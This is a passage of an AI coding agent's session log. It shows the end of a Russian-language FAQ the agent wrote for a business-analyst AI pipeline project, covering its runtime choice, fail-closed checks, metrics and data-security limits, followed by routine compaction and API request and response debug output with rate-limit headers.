\u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\",\n[2026-09-29T07:53:48.097Z] [INFO]     \"structuredPatch\": [],\n[2026-09-29T07:53:48.097Z] [INFO]     \"originalFile\": null,\n[2026-09-29T07:53:48.097Z] [INFO]     \"userModified\": false\n[2026-09-29T07:53:48.097Z] [INFO]   }\n[2026-09-29T07:53:48.097Z] [INFO] }\n[2026-09-29T07:53:48.144Z] [INFO] {\n[2026-09-29T07:53:48.144Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:53:48.144Z] [INFO]   \"subtype\": \"status\",\n[2026-09-29T07:53:48.144Z] [INFO]   \"status\": \"compacting\",\n[2026-09-29T07:53:48.144Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:53:48.144Z] [INFO]   \"uuid\": \"e2605406-e6be-4710-a69d-82f3897e5f5b\"\n[2026-09-29T07:53:48.144Z] [INFO] }\n[2026-09-29T07:53:48.180Z] [STDOUT] [log_5ad153] sending request {\n[2026-09-29T07:53:48.184Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:53:48.187Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:53:48.190Z] [STDOUT]   options: {\n[2026-09-29T07:53:48.193Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:53:48.195Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:53:48.197Z] [STDOUT]     body: {\n[2026-09-29T07:53:48.199Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:53:48.201Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:53:48.203Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:53:48.206Z] [STDOUT]       tools: [Array ...],\n[2026-09-29T07:53:48.208Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:53:48.214Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:53:48.221Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:53:48.224Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:53:48.231Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:53:48.234Z] [STDOUT]       fallbacks: \"default\",\n[2026-09-29T07:53:48.238Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:53:48.241Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:53:48.244Z] [STDOUT]       stream: true,\n[2026-09-29T07:53:48.247Z] [STDOUT]     },\n[2026-09-29T07:53:48.250Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:53:48.252Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:53:48.255Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:53:48.258Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:53:48.264Z] [STDOUT]       aborted: false,\n[2026-09-29T07:53:48.266Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:53:48.270Z] [STDOUT]       onabort: null,\n[2026-09-29T07:53:48.272Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:53:48.275Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:53:48.278Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:53:48.281Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:53:48.284Z] [STDOUT]     },\n[2026-09-29T07:53:48.289Z] [STDOUT]     stream: true,\n[2026-09-29T07:53:48.292Z] [STDOUT]   },\n[2026-09-29T07:53:48.296Z] [STDOUT]   headers: {\n[2026-09-29T07:53:48.299Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:53:48.303Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,server-side-fallback-2026-07-01,fallback-credit-2026-06-01,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:53:48.308Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:53:48.310Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:53:48.314Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:53:48.318Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:53:48.323Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:53:48.326Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:53:48.330Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:53:48.334Z] [STDOUT]     \"x-cc-compaction-request\": \"auto\",\n[2026-09-29T07:53:48.340Z] [STDOUT]     \"x-claude-code-compaction\": \"auto\",\n[2026-09-29T07:53:48.347Z] [STDOUT]     \"x-claude-code-request-class\": \"compaction\",\n[2026-09-29T07:53:48.351Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:53:48.355Z] [STDOUT]     \"x-client-request-id\": \"e93280b7-c6ec-42c2-937a-a2f10d893a39\",\n[2026-09-29T07:53:48.357Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:53:48.361Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:53:48.366Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:53:48.369Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:53:48.375Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:53:48.379Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:53:48.385Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:53:48.387Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:53:48.389Z] [STDOUT]   },\n[2026-09-29T07:53:48.393Z] [STDOUT] }\n[2026-09-29T07:53:55.688Z] [STDOUT] [log_5ad153, request-id: \"req_011CfXNPsD25q3DgrsiPyQUt\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 7508ms\n[2026-09-29T07:53:55.692Z] [STDOUT] [log_5ad153] response start {\n[2026-09-29T07:53:55.696Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:53:55.702Z] [STDOUT]   status: 200,\n[2026-09-29T07:53:55.705Z] [STDOUT]   headers: {\n[2026-09-29T07:53:55.709Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:53:55.713Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:53:55.716Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:53:55.720Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.4\",\n[2026-09-29T07:53:55.722Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:53:55.725Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:53:55.729Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:53:55.731Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:53:55.734Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:53:55.737Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:53:55.739Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:53:55.744Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:53:55.748Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:53:55.751Z] [STDOUT]     